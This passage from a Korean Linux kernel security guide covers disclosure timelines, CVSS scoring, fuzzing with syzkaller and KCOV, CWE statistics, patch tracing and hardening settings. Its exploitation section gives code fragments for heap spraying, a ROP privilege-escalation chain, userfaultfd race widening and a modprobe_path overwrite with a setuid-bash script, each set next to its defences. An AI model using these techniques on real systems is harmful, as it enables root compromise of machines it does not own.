|---|---|---|---|
| 발견 → 보고 | 즉시 ~ 수일 | 즉시 | PoC 작성, 영향 분석, 보안 팀 연락 |
| 보고 → CVE 할당 | 1~7일 | 24시간 내 | CVSS 산정, CNA를 통한 CVE ID 발급 |
| CVE 할당 → 패치 | 7~30일 | 1~3일 | 패치 개발, 내부 리뷰, 엠바고 관리 |
| 패치 → stable 릴리스 | 1~7일 | 24~48시간 | stable 트리 머지, 릴리스 태깅 |
| stable → 배포판 패키지 | 1~14일 | 1~3일 | 백포트, QA 테스트, 패키지 빌드 |
| 패키지 → 운영 적용 | 변동 (조직별) | 즉시 적용 권고 | 롤링 업데이트, 재부팅 또는 livepatch |
2024년 2월부터 리눅스 커널 팀은 CNA 역할을 직접 수행하며, 모든 커널 버그 수정 커밋에 CVE를 할당하는 정책을 채택했습니다. 이로 인해 CVE 발급량이 급증했지만, 보안 관련 패치를 놓치는 위험은 크게 감소했습니다. git.kernel.org/pub/scm/linux/security/vulns.git/에서 전체 CVE 목록을 추적할 수 있습니다.
Responsible Disclosure vs Full Disclosure
커널 보안 취약점의 공개 방식은 보안 커뮤니티에서 지속적인 논쟁 주제입니다. 리눅스 커널은 Coordinated Disclosure(조율된 공개) 정책을 따르며, 이는 패치가 준비될 때까지 취약점 상세 정보를 비공개로 유지하는 방식입니다.
| 공개 방식 | 설명 | 장점 | 단점 |
|---|---|---|---|
| Coordinated Disclosure | 보안 팀과 협력하여 패치 후 공개 | 사용자 보호, 패치 시간 확보 | 벤더 지연(Latency) 시 대응 늦어짐 |
| Full Disclosure | 발견 즉시 전체 공개 | 빠른 인식, 벤더 압박 | 패치 전 악용 위험 |
| Zero-Day Market | 취약점을 비공개로 판매 | 발견자 경제적 보상 | 패치 지연, 악용 가능성 |
기본 엠바고: 7일 (단순 로컬 DoS 등 낮은 위험도)
표준 엠바고: 14일 (로컬 권한 상승, 정보 유출)
연장 엠바고: 최대 90일 (복잡한 하드웨어 취약점, 광범위한 조율 필요)
In-the-wild 발견: 즉시 패치 공개 (이미 악용 중이므로 엠바고 무의미)
배포판(Red Hat, Ubuntu, SUSE 등)은 엠바고 기간 중 linux-distros 메일링 리스트를 통해 사전 통지를 받아 백포트를 준비합니다. oss-security 메일링 리스트에는 엠바고 해제 후 공개됩니다.
CVSS 점수 산정과 커널 취약점
| CVSS 요소 | 커널 취약점 특성 | 일반적 점수 |
|---|---|---|
| Attack Vector (AV) | 대부분 Local (로컬 접근 필요) | L (Local) |
| Attack Complexity (AC) | 경쟁 조건: High / 단순 버그: Low | L~H |
| Privileges Required (PR) | 비특권 사용자(unprivileged): Low | L (Low) |
| User Interaction (UI) | 대부분 불필요 | N (None) |
| Scope (S) | 컨테이너 탈출: Changed / 일반: Unchanged | U~C |
| Confidentiality (C) | 정보 유출: High / 권한 상승: High | H |
| Integrity (I) | 권한 상승: High / 파일 수정: High | H |
| Availability (A) | DoS/패닉: High | H |
일반적인 커널 로컬 권한 상승 취약점의 CVSS v3.1 점수는 7.8 (AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H)로 산정됩니다. 컨테이너 탈출이 가능한 경우 Scope가 Changed로 변경되어 8.8 이상이 됩니다.
커널 익스플로잇 기법
커널 취약점을 실제 공격으로 연결하는 익스플로잇 기법은 취약점의 유형에 따라 다양한 패턴을 보입니다. 각 기법의 원리와 커널이 이에 대응하는 방어 메커니즘을 함께 이해하면 효과적인 보안 전략을 수립할 수 있습니다.
SLAB/SLUB 할당자의 특성을 이용하여, 해제된 객체와 동일한 크기의 객체를 대량으로 할당하여 공격자가 원하는 데이터로 커널 힙을 채우는 기법입니다. UAF 취약점과 결합하면, 해제된 객체의 메모리를 공격자가 제어하는 내용으로 대체할 수 있습니다.
/* 커널 힙 익스플로잇의 핵심 개념: msg_msg를 이용한 힙 스프레이 */
/* msg_msg 구조체는 크기 조절이 자유롭고 사용자 데이터를 포함 */
struct msg_msg {
struct list_head m_list; /* 16 bytes — 링크드 리스트 */
long m_type; /* 8 bytes — 메시지 타입 */
size_t m_ts; /* 8 bytes — 데이터 크기 */
struct msg_msgseg *next; /* 8 bytes — 다음 세그먼트 */
void *security; /* 8 bytes — LSM 보안 데이터 */
/* 이후 사용자 데이터가 바로 이어짐 */
};
/* 공격자는 msgsnd()로 원하는 크기의 msg_msg 할당 가능:
* 헤더(48 bytes) + 사용자 데이터 = 총 할당 크기
* kmalloc-64, kmalloc-128, ... 등 원하는 slab 캐시 타겟팅 */
/* UAF + msg_msg 힙 스프레이 공격 흐름 */
/* 1. 취약점으로 커널 객체 해제 (UAF 트리거) */
/* 2. 해제된 슬랩과 동일 크기의 msg_msg 대량 할당 */
/* 3. msg_msg 데이터에 조작된 함수 포인터 배치 */
/* 4. 원래 코드 경로가 해제된 객체 참조 → 조작된 함수 호출 */
/* 방어: CONFIG_RANDOM_KMALLOC_CACHES (6.6+)
* 동일 크기 요청이라도 16개 랜덤 캐시 중 하나에 할당
* → 힙 스프레이의 예측 가능성을 대폭 감소시킴 */
SMEP(Supervisor Mode Execution Prevention)으로 인해 커널 공간(Kernel Space)에서 사용자 공간 코드를 직접 실행할 수 없으므로, 공격자는 커널 코드 내의 기존 명령어 조각(가젯)을 체인으로 연결하여 원하는 작업을 수행합니다. commit_creds(prepare_kernel_cred(0)) 호출이 최종 목표입니다.
/* ROP 체인 개념 — 권한 상승 (SMEP/SMAP 우회) */
/* 목표: commit_creds(prepare_kernel_cred(0)) 실행 */
/* 스택 피벗(stack pivot)으로 제어 흐름 탈취 후:
* ROP 가젯들을 체인으로 연결 */
/* 가젯 예시 (실제 오프셋은 커널 빌드마다 다름) */
unsigned long rop_chain[] = {
pop_rdi_ret, /* pop rdi; ret — 인자 설정 */
0, /* rdi = 0 (init_cred) */
prepare_kernel_cred_addr, /* prepare_kernel_cred(0) 호출 */
pop_rdi_ret, /* 반환값(rax)을 rdi로 이동 필요 */
mov_rdi_rax_ret, /* mov rdi, rax; ret */
commit_creds_addr, /* commit_creds(new_cred) 호출 */
swapgs_restore_regs, /* 사용자 모드 복귀 준비 */
iretq_addr, /* iretq — 사용자 모드로 복귀 */
user_rip, /* 사용자 공간 복귀 주소 */
user_cs, /* CS 레지스터 */
user_rflags, /* RFLAGS */
user_sp, /* RSP */
user_ss, /* SS 레지스터 */
};
/* 방어 기법:
* - KASLR: 가젯 주소 예측 불가
* - CFI (Control-Flow Integrity): 간접 호출 대상 검증
* - Shadow Call Stack (ARM64): 리턴 주소 별도 보호
* - Stack Canary: 스택 오버플로우 감지 */
userfaultfd를 이용한 레이스 윈도우 확장
/* userfaultfd: 페이지 폴트를 사용자 공간에서 처리하는 메커니즘
* 공격자는 이를 이용해 커널이 사용자 메모리를 복사하는 중간에
* 실행을 중단시켜 경쟁 조건의 윈도우를 확장합니다 */
#include <linux/userfaultfd.h>
#include <sys/ioctl.h>
/* 1. userfaultfd 생성 및 매핑 */
int uffd = syscall(__NR_userfaultfd, O_CLOEXEC | O_NONBLOCK);
struct uffdio_api api = { .api = UFFD_API };
ioctl(uffd, UFFDIO_API, &api);
/* 2. 감시할 메모리 영역 등록 */
void *page = mmap(NULL, 0x1000, PROT_READ | PROT_WRITE,
MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
struct uffdio_register reg = {
.range = { .start = (unsigned long)page, .len = 0x1000 },
.mode = UFFDIO_REGISTER_MODE_MISSING
};
ioctl(uffd, UFFDIO_REGISTER, ®);
/* 3. 커널이 copy_from_user(page)를 호출하면
* 페이지 폴트 → userfaultfd 핸들러에서 블로킹
* → 이 동안 다른 스레드에서 레이스 조건 트리거 */
/* 방어: 커널 5.11+에서 unprivileged userfaultfd 기본 비활성화
* sysctl vm.unprivileged_userfaultfd=0 */
힙 오버플로우 → KASAN, FORTIFY_SOURCE, HARDENED_USERCOPY
UAF → KASAN, KFENCE, SLAB_FREELIST_HARDENED, RANDOM_KMALLOC_CACHES
ROP/JOP → CFI (Clang), Shadow Call Stack, KASLR, SMEP/SMAP
경쟁 조건 → KCSAN, lockdep, userfaultfd 제한
ret2usr → SMEP, SMAP, KPTI(Meltdown 완화)
모든 기법에 대해 seccomp으로 공격에 필요한 시스템 콜을 차단하는 것이 가장 효과적인 1차 방어입니다.
modprobe_path 덮어쓰기 기법
커널 내부의 modprobe_path 전역 변수는 알 수 없는 바이너리 형식을 실행할 때 호출되는 모듈 로더(Loader)의 경로를 저장합니다. 이 변수를 임의 쓰기(arbitrary write) 프리미티브로 덮어쓰면, root 권한으로 공격자의 스크립트를 실행할 수 있습니다.
/* modprobe_path 공격 기법 */
/* 커널 내부: kernel/kmod.c */
char modprobe_path[KMOD_PATH_LEN] = "/sbin/modprobe";
/* 알 수 없는 바이너리 형식 실행 시:
* do_execve() → search_binary_handler() → request_module()
* → call_modprobe() → modprobe_path 실행 (root 권한) */
/* 공격 흐름:
* 1. 임의 쓰기 프리미티브로 modprobe_path를 "/tmp/pwn" 등으로 변경
* 2. /tmp/pwn 스크립트 생성 (chmod u+s /bin/bash 등)
* 3. 알 수 없는 형식의 파일 실행 (예: echo -ne '\xff\xff\xff\xff' > /tmp/x && chmod +x /tmp/x && /tmp/x)
* 4. 커널이 /tmp/pwn을 root로 실행 → 권한 상승 완료 */
/* 준비: 악성 스크립트 */
/* #!/bin/sh
* cp /bin/bash /tmp/rootbash
* chmod u+s /tmp/rootbash */
/* 방어:
* - CONFIG_STATIC_USERMODEHELPER=y: 사용자 모드 헬퍼 경로 고정
* - CONFIG_SECURITY_LOCKDOWN_LSM: 커널 수정 차단
* - KASLR + SMAP: modprobe_path 주소 예측 방지 */
Cross-cache 공격 (6.1+)
전통적인 힙 스프레이는 동일한 slab 캐시 내에서 객체를 교체하지만, 최신 커널의 RANDOM_KMALLOC_CACHES 방어를 우회하기 위해 cross-cache 공격이 등장했습니다. 이 기법은 slab 페이지를 완전히 비운 뒤 버디 할당자(Buddy Allocator)로 반환시키고, 다른 캐시에서 동일 페이지를 재할당받아 타입 혼동을 유발합니다.
Cross-cache 공격 개념
기존 same-cache 공격 (RANDOM_KMALLOC_CACHES로 방어됨):
- 취약점으로
kmalloc-128객체를 해제합니다. msgsnd()로 같은kmalloc-128에 공격자 데이터를 할당합니다.
RANDOM_KMALLOC_CACHES는 16개 랜덤 캐시 중 1개에 할당하므로, 같은 캐시에 할당될 확률이 1/16으로 성공률이 급감합니다.
Cross-cache 공격 (방어 우회):
- 대상 slab 페이지의 모든 객체를 해제합니다. (slab 페이지가 완전히 비면 버디 할당자로 반환됩니다.)
- 다른 slab 캐시가 버디에서 같은 페이지를 할당받습니다.
- 공격자가 새 캐시의 객체를 제어합니다. slab 캐시 종류에 무관하게 공격이 가능합니다.
실행 단계:
- Phase 1 — 대상 객체가 있는 slab 페이지를 식별합니다.
- Phase 2 — 해당 페이지의 다른 모든 객체를 해제(drain)합니다.
- Phase 3 — 대상 객체를 해제하면 페이지가 버디로 반환됩니다.
- Phase 4 — 원하는 타입의 객체를 대량 할당(cross-cache spray)합니다.
- Phase 5 — 타입 혼동을 통해 프리미티브를 획득합니다.
방어 (진행 중):
- Page Allocator 레벨 격리 (보안 크리티컬 객체 전용 풀)
kmem_cache에SLAB_NO_MERGE플래그 적용- 커널 6.6+:
CONFIG_SLAB_VIRTUAL(논의 중)
struct pipe_buffer는 UAF 익스플로잇에서 가장 널리 사용되는 커널 객체 중 하나입니다. pipe_buffer의 ops 포인터(함수 테이블)를 조작하면 임의 읽기(pipe_buf_ops->confirm)와 임의 해제(pipe_buf_ops->release)를 구현할 수 있습니다. 크기가 고정(40바이트)이므로 kmalloc-64 캐시를 타겟으로 하며, pipe() 시스템 콜만으로 할당/해제를 정밀 제어할 수 있습니다.
KASLR 우회 기법과 방어 강화
KASLR(Kernel Address Space Layout Randomization)은 커널 코드, 모듈, 힙의 기본 주소를 부팅 시 무작위화하여 공격자가 ROP 가젯이나 중요 함수의 주소를 예측하지 못하게 합니다. 그러나 다양한 정보 유출 채널을 통해 우회될 수 있으며, 커널은 이에 대한 방어를 지속적으로 강화하고 있습니다.
/* KASLR 관련 커널 보안 설정 점검 */
/* 1. KASLR 활성화 확인 */
/* 부트 로그에서 확인 */
/* dmesg | grep "KASLR enabled" */
/* 2. 커널 포인터 노출 제어 */
/* /proc/sys/kernel/kptr_restrict 값:
* 0: 모든 사용자에게 커널 포인터 노출 (위험)
* 1: 권한 있는 사용자에게만 노출 (CAP_SYSLOG)
* 2: 모든 사용자에게 숨김 (권장) */
/* 강화 설정 예시 */
/* /etc/sysctl.d/90-kaslr-hardening.conf */
kernel.kptr_restrict = 2 /* 커널 포인터 완전 숨김 */
kernel.dmesg_restrict = 1 /* dmesg 비특권 접근 차단 */
kernel.perf_event_paranoid = 3 /* perf 이벤트 접근 제한 */
/* 3. %pK 포맷 지시자 — 커널 내부 포인터 출력 제어 */
/* printk에서 %pK를 사용하면 kptr_restrict에 따라
* 실제 주소 또는 0000000000000000 출력 */
pr_info("object at %pK\n", obj); /* %pK: 권한 기반 출력 */
pr_info("object at %px\n", obj); /* %px: 항상 실제 주소 (디버그 전용) */
pr_info("object at %p\n", obj); /* %p: 해시된 값 (5.x+) */
1. kptr_restrict=2, dmesg_restrict=1 설정 확인
2. perf_event_paranoid=3으로 perf 기반 주소 유출 차단
3. debugfs가 프로덕션 환경에서 마운트되지 않도록 확인
4. CONFIG_INIT_STACK_ALL_ZERO=y로 스택 기반 정보 유출 방지
5. CONFIG_RANDOMIZE_KSTACK_OFFSET_DEFAULT=y (6.1+) 스택 오프셋(Offset) 무작위화
6. BPF 비특권 접근 차단: kernel.unprivileged_bpf_disabled=1
syzkaller 퍼저 아키텍처와 커널 버그 탐지
syzkaller는 Google이 개발한 커버리지 기반(coverage-guided) 커널 퍼저로, 현재 리눅스 커널 보안 취약점의 상당수를 자동으로 발견하고 있습니다. syzbot(syzkaller의 자동화된 인스턴스)은 지속적으로 최신 커널을 퍼징하며, 발견된 버그를 자동으로 보고합니다.
/* syzkaller 설정 예시 (syz-manager 설정 파일) */
{
"target": "linux/amd64",
"http": "127.0.0.1:56741",
"workdir": "/home/user/syzkaller/workdir",
"kernel_obj": "/home/user/linux/build",
"image": "/home/user/image/bullseye.img",
"sshkey": "/home/user/image/bullseye.id_rsa",
"syzkaller": "/home/user/gopath/src/github.com/google/syzkaller",
"type": "qemu",
"vm": {
"count": 4,
"kernel": "/home/user/linux/build/arch/x86/boot/bzImage",
"cpu": 2,
"mem": 2048
}
}
/* 퍼징 대상 커널 빌드 옵션 (필수) */
CONFIG_KCOV=y /* 코드 커버리지 수집 */
CONFIG_KCOV_INSTRUMENT_ALL=y /* 전체 커널 계측 */
CONFIG_KASAN=y /* 메모리 오류 탐지 */
CONFIG_KASAN_INLINE=y /* 인라인 계측 (정확도 높음) */
CONFIG_UBSAN=y /* 정의되지 않은 동작 탐지 */
CONFIG_KCSAN=y /* 데이터 레이스 탐지 */
CONFIG_LOCKDEP=y /* 잠금 의존성 검사 */
CONFIG_DEBUG_INFO=y /* 디버그 정보 포함 */
CONFIG_DEBUG_INFO_DWARF_TOOLCHAIN_DEFAULT=y
CONFIG_CONFIGFS_FS=y /* 퍼징 대상 서브시스템 활성화 */
CONFIG_FAULT_INJECTION=y /* 오류 주입 (선택적) */
syzbot이 보고하는 버그에는 C 언어 재현기와 syz 재현기가 포함됩니다. C 재현기를 컴파일하여 테스트 환경에서 버그를 재현할 수 있습니다: gcc -pthread -o repro repro.c && ./repro. 재현 실패 시 멀티스레드 타이밍 문제일 수 있으므로 반복 실행(while ./repro; do :; done)이 필요합니다.
KCOV 내부 구현
KCOV(Kernel Code Coverage)는 syzkaller의 핵심 인프라로, 커버리지 기반 퍼징을 가능하게 합니다. GCC/Clang의 -fsanitize-coverage=trace-pc 계측을 사용하여 실행된 기본 블록(basic block)을 기록합니다.
/* KCOV 사용 패턴 (유저스페이스 퍼저) */
#include <linux/types.h>
#include <sys/ioctl.h>
#include <sys/mman.h>
#define KCOV_INIT_TRACE _IOR('c', 1, unsigned long)
#define KCOV_ENABLE _IO('c', 100)
#define KCOV_DISABLE _IO('c', 101)
#define COVER_SIZE (64 << 10) /* 64K 엔트리 */
int fd = open("/sys/kernel/debug/kcov", O_RDWR);
ioctl(fd, KCOV_INIT_TRACE, COVER_SIZE);
/* 공유 메모리 매핑 — 커널이 커버리지 데이터를 직접 기록 */
unsigned long *cover = mmap(NULL, COVER_SIZE * sizeof(unsigned long),
PROT_READ | PROT_WRITE, MAP_SHARED, fd, 0);
ioctl(fd, KCOV_ENABLE, 0); /* 현재 스레드에서 커버리지 수집 시작 */
/* ... 시스템 콜 실행 (퍼징 대상) ... */
read(-1, NULL, 0);
ioctl(fd, KCOV_DISABLE, 0); /* 수집 중단 */
/* cover[0] = 수집된 PC 수, cover[1..n] = 실행된 코드 주소 */
unsigned long n = __atomic_load_n(&cover[0], __ATOMIC_RELAXED);
for (unsigned long i = 0; i < n; i++)
printf("0x%lx\n", cover[i + 1]);
| KCOV 모드 | CONFIG | 수집 데이터 | 용도 |
|---|---|---|---|
| trace-pc | CONFIG_KCOV | 실행된 PC(프로그램 카운터) 주소 | 기본 커버리지 기반 퍼징 |
| trace-cmp | CONFIG_KCOV_ENABLE_COMPARISONS | 비교 연산 피연산자 값 | 매직 넘버/체크섬(Checksum) 우회 퍼징 |
| remote coverage | CONFIG_KCOV | 비동기 컨텍스트(워크큐, 소프트IRQ) 커버리지 | 비동기 코드 경로 퍼징 |
syzbot 버그 보고 워크플로
syzbot은 syzkaller의 완전 자동화 인스턴스로, 하루 수천 개의 커널 빌드를 퍼징합니다. 버그 발견부터 패치 테스트까지 전 과정이 자동화되어 있습니다.
| 단계 | 동작 | 산출물 |
|---|---|---|
| 1. 퍼징 | 최신 linux-next/mainline 커널을 GCE VM에서 지속 퍼징 | 크래시 로그 |
| 2. 재현 | 크래시를 재현하는 최소 시스템 콜 시퀀스 자동 추출 | C reproducer, syz reproducer |
| 3. 이분 탐색 | git bisect 자동 실행으로 원인 커밋 특정 | cause commit hash |
| 4. 보고 | LKML에 자동 이메일 발송 (크래시, reproducer, bisect 결과) | syzbot 이메일 |
| 5. 패치 테스트 | 패치가 올라오면 자동 적용 + 재퍼징으로 수정 검증 | Tested-by: syzbot 태그 |
| 6. 수정 추적 | 수정된 버그의 stable 백포트 상태 추적 | 대시보드 상태 업데이트 |
# syzbot 대시보드에서 버그 확인
# https://syzkaller.appspot.com/upstream — mainline 버그 목록
# https://syzkaller.appspot.com/upstream#open — 미수정 버그
# syzbot에 패치 테스트 요청 (이메일 회신)
# To: syzbot+HASH@syzkaller.appspotmail.com
# Subject: 원래 제목
# 본문에 패치 첨부 또는:
#syz test: git://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git master
# C 재현기로 로컬 재현
wget "https://syzkaller.appspot.com/text?tag=ReproC&x=HASH" -O repro.c
gcc -pthread -o repro repro.c
# 반복 실행 (경쟁 조건은 확률적)
for i in $(seq 1 100); do timeout 30 ./repro; done
# syz 재현기로 재현 (syzkaller 빌드 필요)
wget "https://syzkaller.appspot.com/text?tag=ReproSyz&x=HASH" -O repro.syz
syz-execprog -executor=./syz-executor -repeat=0 -procs=8 repro.syz
KASAN + syzkaller 시너지: KASAN은 syzkaller의 핵심 파트너입니다. KASAN 없이는 많은 메모리 버그가 즉시 크래시를 발생시키지 않아 탐지 불가능합니다. KASAN이 use-after-free, out-of-bounds, double-free를 확인적으로 탐지하면, syzkaller가 이를 별도 버그로 분류합니다. CONFIG_KASAN=y와 CONFIG_KCOV=y를 함께 활성화하는 것이 효과적인 퍼징의 최소 조건입니다.
커널 하드닝 옵션
리눅스 커널은 하드웨어(SMEP/SMAP/CET/NX), 컴파일러(FORTIFY_SOURCE/CFI/Stack Protector), 메모리(KASLR/KPTI/SLAB 하드닝/HARDENED_USERCOPY), 접근 제어(Seccomp/LSM/Lockdown) 4개 계층의 종심 방어(defense in depth) 구조를 제공합니다. 공격자는 모든 계층을 우회해야 익스플로잇에 성공할 수 있습니다.
KASLR/FKASLR, KPTI, kCFI/FineIBT, Shadow Call Stack, Stack Protector, FORTIFY_SOURCE, Lockdown LSM, Spectre/Meltdown 방어, GCC 보안 플러그인, 하드닝 CONFIG 옵션별 성능 영향, 환경별 권장 프로파일 등의 상세 내용은 커널 하드닝 문서를 참조하세요.
취약점 분류와 CWE 매핑
커널 취약점을 CWE(Common Weakness Enumeration)로 체계적으로 분류하면, 반복 발생하는 취약점 패턴을 식별하고 예방 전략을 수립할 수 있습니다. 아래 표는 리눅스 커널에서 가장 빈번하게 발견되는 취약점 클래스와 그 특성을 정리합니다.
주요 CWE 분류와 커널 사례
| CWE | 취약점 유형 | 커널 발생 빈도 | 대표 CVE | 주요 서브시스템 |
|---|---|---|---|---|
| CWE-416 | Use-After-Free | 매우 높음 | CVE-2024-1086, CVE-2023-3269 | netfilter, 소켓, 파일시스템 |
| CWE-787 | Out-of-Bounds Write | 높음 | CVE-2022-0185, CVE-2022-0847 | 파일시스템, 네트워크 |
| CWE-362 | Race Condition | 높음 | CVE-2016-5195, CVE-2022-2588 | MM, 동기화, 네트워크 |
| CWE-125 | Out-of-Bounds Read | 높음 | 다수 정보 유출 CVE | 전 영역 |
| CWE-190 | Integer Overflow | 중간 | CVE-2022-0185 | 파일시스템, 시스콜 |
| CWE-476 | NULL Pointer Deref | 높음 (DoS) | 다수 | 전 영역 |
| CWE-119 | Buffer Overflow | 중간 | CVE-2022-0185 | 파일시스템, 드라이버 |
| CWE-200 | 정보 노출 | 높음 | Spectre, MDS 계열 | CPU, 메모리 |
| CWE-269 | 부적절한 권한 관리 | 중간 | CVE-2022-0492 | cgroup, namespace |
| CWE-667 | 부적절한 잠금(Lock) | 중간 | 데드락/라이브락 관련 | 동기화 전 영역 |
서브시스템별 취약점 발생 통계
| 서브시스템 | 비율 (근사치) | 주요 취약점 패턴 | 방어 우선순위 |
|---|---|---|---|
| 네트워크 (net/) | ~30% | UAF, 경쟁 조건, OOB | seccomp 필터, 네임스페이스 격리 |
| 드라이버 (drivers/) | ~25% | 버퍼 오버플로우, UAF | IOMMU, 디바이스 접근 제어 |
| 파일시스템 (fs/) | ~15% | 경쟁 조건, 정수 오버플로(Integer Overflow)우 | LSM, 마운트 네임스페이스 |
| 메모리 관리 (mm/) | ~10% | 경쟁 조건, UAF | KASAN, 하드닝 옵션 |
| 아키텍처 (arch/) | ~10% | Spectre/Meltdown 계열 | 마이크로코드, 하드웨어 완화 |
| 보안 (security/) | ~5% | 권한 검사 누락 | 코드 감사, 퍼징 |
| 기타 | ~5% | 다양 | 종합 방어 |
최근 5년간 커널 취약점의 주요 트렌드는 다음과 같습니다:
1. UAF 지속 증가: netfilter, io_uring 등 복잡한 비동기 코드 경로에서 빈번히 발견
2. io_uring 공격 표면: 고성능 비동기 I/O 인터페이스의 복잡성으로 인해 다수의 취약점 발생
3. eBPF 취약점: 검증기(verifier) 우회를 통한 커널 메모리 접근 취약점
4. 컨테이너 탈출: namespace/cgroup 경계의 취약점이 클라우드 환경에서 특히 위험
5. 하드웨어 취약점 지속: Spectre 변종이 계속 발견되며, 소프트웨어 완화 비용 누적
io_uring / eBPF: 최신 공격 표면
2020년 이후 커널 취약점의 새로운 주요 공격 표면으로 io_uring과 eBPF가 부상했습니다. 두 서브시스템 모두 고성능/고기능을 위해 커널 내부에 복잡한 상태 머신을 구현하며, 이 복잡성이 보안 취약점의 주요 원인이 됩니다.
| 서브시스템 | 도입 시기 | CVE 건수 (2020~2025) | 주요 취약점 유형 | 방어 전략 |
|---|---|---|---|---|
| io_uring | 5.1 (2019) | 50+ | UAF, 참조 카운트 오류, 경쟁 조건 | seccomp 차단, CONFIG_IO_URING=n |
| eBPF verifier | 3.18 (2014) | 30+ | 범위 추적 우회, 타입 혼동, OOB | unprivileged_bpf_disabled=1 |
| Netfilter | 2.4 (2001) | 40+ | UAF, OOB, 경쟁 조건 | nftables 전환, 불필요 모듈 제거 |
1순위 — 즉시 적용: kernel.unprivileged_bpf_disabled=1, vm.unprivileged_userfaultfd=0, user.max_user_namespaces 제한
2순위 — 워크로드별 평가: io_uring 필요 여부 검토, 불필요한 netfilter 모듈 언로드, debugfs 비마운트
3순위 — 컨테이너 환경: seccomp 프로파일로 위험 시스콜 차단, AppArmor/SELinux 프로파일 강화
4순위 — 장기적: 커널 빌드 시 불필요한 CONFIG 옵션 비활성화, 최소 커널 구성
주요 커널 취약점 타임라인 (2016~2025)
| 연도 | 대표 CVE | 이름 | 유형 | CVSS | 영향 |
|---|---|---|---|---|---|
| 2016 | CVE-2016-5195 | Dirty COW | Race Condition | 7.8 | 광범위한 권한 상승 |
| 2018 | CVE-2017-5753/5715 | Spectre v1/v2 | 하드웨어 | 5.6 | 정보 유출 (전 CPU) |
| 2018 | CVE-2017-5754 | Meltdown | 하드웨어 | 5.6 | 정보 유출 (Intel) |
| 2019 | CVE-2019-11477 | SACK Panic | Integer Overflow | 7.5 | 원격 DoS |
| 2021 | CVE-2021-4154 | cgroup1 UAF | UAF | 8.8 | 컨테이너 탈출 |
| 2022 | CVE-2022-0847 | Dirty Pipe | 초기화 누락 | 7.8 | 임의 파일 수정 |
| 2022 | CVE-2022-0185 | fsconfig 오버플로우 | Integer Underflow | 8.4 | 컨테이너 탈출 |
| 2022 | CVE-2022-2588 | cls_route UAF | Race + UAF | 7.8 | 권한 상승 |
| 2023 | CVE-2023-3269 | StackRot | RCU UAF | 7.8 | 권한 상승 |
| 2023 | CVE-2023-32233 | nf_tables UAF | UAF | 7.8 | 권한 상승 |
| 2024 | CVE-2024-1086 | nf_tables verdict | UAF | 7.8 | 권한 상승 |
| 2024 | CVE-2024-1085 | nf_tables netdev | UAF | 7.8 | 권한 상승 |
보안 패치 분석 방법
커널 보안 패치를 분석하는 능력은 운영 환경의 보안 대응에 핵심적입니다. git 로그 포렌식, diff 리뷰, stable 백포트 추적을 통해 취약점의 영향 범위와 패치의 완전성을 평가할 수 있습니다.
# 보안 패치 분석 실전 명령어
# 1) CVE 번호로 관련 커밋 찾기
git log --all --grep="CVE-2024-1086" --oneline
# 2) 수정 커밋에서 원인 커밋(Fixes: 태그) 추출
git log --all --grep="Fixes:" --format="%h %s" -- net/netfilter/ | head -20
# 3) 특정 커밋의 변경 내용 상세 확인
git show <commit-hash> --stat # 변경된 파일 목록
git show <commit-hash> # 전체 diff
# 4) stable 트리에 백포트 여부 확인
git log --all --oneline --grep="<upstream commit hash>"
# 또는 커밋 메시지의 "(cherry picked from commit ...)" 확인
# 5) 두 버전 간 보안 관련 변경 추적
git log v6.6..v6.6.14 --oneline --grep="fix\|CVE\|security\|vuln"
# 6) 특정 함수의 변경 이력 추적
git log -p -S "nft_verdict_init" -- net/netfilter/
# 7) 취약한 코드가 도입된 커밋 찾기 (git blame)
git blame -L 100,120 net/netfilter/nf_tables_api.c
# 8) 패치 의존성 확인 (Fixes 체인)
git log --all --format="%h %s" -- <file> | grep -i "fix"
불완전 수정 감시: 최초 패치가 취약점의 모든 변형을 수정하지 못하는 경우가 빈번합니다. 패치 이후 동일 파일/함수에 대한 추가 수정이 있는지 반드시 확인하세요.
백포트 충돌: stable 백포트 시 코드 컨텍스트 차이로 인해 패치가 완전히 적용되지 않을 수 있습니다. git diff로 원본 패치와 백포트된 버전을 비교하세요.
의존 패치: 일부 보안 패치는 선행 커밋에 의존합니다. Fixes: 태그와 Depends-on: 참조를 추적하여 누락된 의존 패치가 없는지 확인하세요.
stable 백포트 추적 실전 가이드
# stable 백포트 추적 실전 명령어
# 1) 특정 CVE의 mainline 수정 커밋 확인
# vulns.git에서 CVE 정보 조회
git clone https://git.kernel.org/pub/scm/linux/security/vulns.git
cd vulns
cat cve/published/2024/CVE-2024-1086.json | python3 -m json.tool
# 2) mainline 커밋이 stable 트리에 백포트되었는지 확인
# 방법 A: stable 트리에서 cherry-pick 커밋 검색
git log --all --oneline --grep="upstream commit <hash>"
# 방법 B: 커밋 메시지에서 확인
git log --all --oneline --grep="<mainline commit title>"
# 3) 현재 배포판 커널에 패치가 포함되었는지 확인
# RHEL/CentOS
rpm -q --changelog kernel | grep -i "CVE-2024-1086"
# Ubuntu
apt changelog linux-image-$(uname -r) | grep -i "CVE-2024-1086"
# SUSE
rpm -q --changelog kernel-default | grep -i "CVE-2024-1086"
# 4) 패치 의존성 체인 확인
# Fixes: 태그를 재귀적으로 추적
git log --all --format="%h %s" --grep="Fixes: <커밋 해시 접두사>"
# 5) 두 stable 릴리스 간 보안 패치 목록 비교
git log v6.6.10..v6.6.20 --oneline | grep -iE "fix|vuln|CVE|security|overflow|uaf|race" | wc -l
RHEL: yum updateinfo list security로 적용 가능한 보안 업데이트 목록 조회
Ubuntu: ubuntu-security-status 명령으로 현재 보안 상태 확인
Debian: debsecan 패키지로 알려진 CVE 스캔
범용: linux-exploit-suggester 도구로 현재 커널의 알려진 취약점 검사
프로덕션 환경에서는 Canonical Livepatch, RHEL kpatch, 또는 SUSE kGraft를 통해 재부팅 없이 보안 패치를 적용할 수 있습니다.
취약점 탐지 도구와 Sanitizer 비교
리눅스 커널은 다양한 동적 분석 도구(sanitizer)를 내장하고 있어, 메모리 오류, 정의되지 않은 동작, 데이터 레이스 등을 런타임에 탐지할 수 있습니다. 각 도구의 특성과 적용 환경을 이해하면 테스트 전략을 효과적으로 수립할 수 있습니다.
Sanitizer 상세 비교표
| 도구 | 탐지 대상 | CPU 오버헤드 | 메모리 오버헤드 | 프로덕션 적합성 | CONFIG 옵션 |
|---|---|---|---|---|---|
| KASAN (Generic) | OOB, UAF, double-free | 2~3배 | 1/8 추가 | 부적합 | CONFIG_KASAN=y |
